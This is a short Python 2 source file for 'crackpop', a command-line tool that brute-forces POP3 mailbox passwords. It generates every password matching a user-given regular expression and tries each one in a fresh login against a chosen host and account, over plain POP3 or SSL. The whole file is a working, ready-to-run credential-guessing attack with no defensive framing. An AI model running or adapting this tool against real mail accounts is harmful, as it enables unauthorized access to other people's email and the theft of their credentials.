#!/usr/bin/env python # # crackpop - a pattern-generated-dictionary pop3 password cracker # # Copyright (C) 2013 Antonio Ospite # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import argparse import exrex import poplib __description = "crackpop is a pattern-generated-dictionary pop3 password cracker" __version = "0.1" __author_info = "Antonio Ospite" # returns a tuple: (num_passwords, passwords) # where passwords is an iterable type def generate_passwords(password_pattern, dry_run=False): num_passwords = exrex.count(password_pattern) passwords = exrex.generate(password_pattern) if dry_run: print "Generated %d passwords." % num_passwords for p in passwords: print p return (0, iter([])) return (num_passwords, passwords) # the passwords parameter is a tuple: (n, L) # where L is an iterable type and n is the number of elements in L def crackpop(host, port, ssl, user, passwords): if ssl: pop3_connect = poplib.POP3_SSL else: pop3_connect = poplib.POP3 print "Testing %d passwords." % passwords[0] for p in passwords[1]: # TODO maybe the same connection can be reused for more than one try, # but some logic needs to be added to detect the maximum allowed # authentication attempts or a disconnection from the server. pop3 = pop3_connect(host, port) try: pop3.user(user) pop3.pass_(p) except Exception, e: print e.message, "(password: %s)" % p del pop3 continue else: print "Found! (password: %s)" % p break def option_parser(): usage = "usage: %(prog)s [options]" parser = argparse.ArgumentParser( usage=usage, description=__description, epilog=__author_info, version='%(prog)s ' + __version) parser.add_argument( '-H', '--host', metavar="", dest='host', required=True, help='the host where the pop3 server is') parser.add_argument( '-P', '--port', metavar="", dest='port', default=None, help='the port the pop3 server is listening on') parser.add_argument( '-u', '--user', metavar="", dest='user', required=True, help='username of the pop3 account') parser.add_argument( '-p', '--pattern', metavar="", dest='password_pattern', required=True, help='the regular expression describing the pattern of the password') parser.add_argument( '-d', '--dry-run', dest='dry_run', action='store_const', const=True, help='only print out the passwords, do not connect to the pop3 server') parser.add_argument( '-s', '--ssl', dest='ssl', action='store_const', const=True, help='use SSL to connect to the pop3 server') return parser if __name__ == "__main__": parser = option_parser() args = parser.parse_args() if args.port is None: if args.ssl: port = poplib.POP3_SSL_PORT else: port = poplib.POP3_PORT else: port = args.port passwords = generate_passwords(args.password_pattern, args.dry_run) crackpop(args.host, port, args.ssl, args.user, passwords)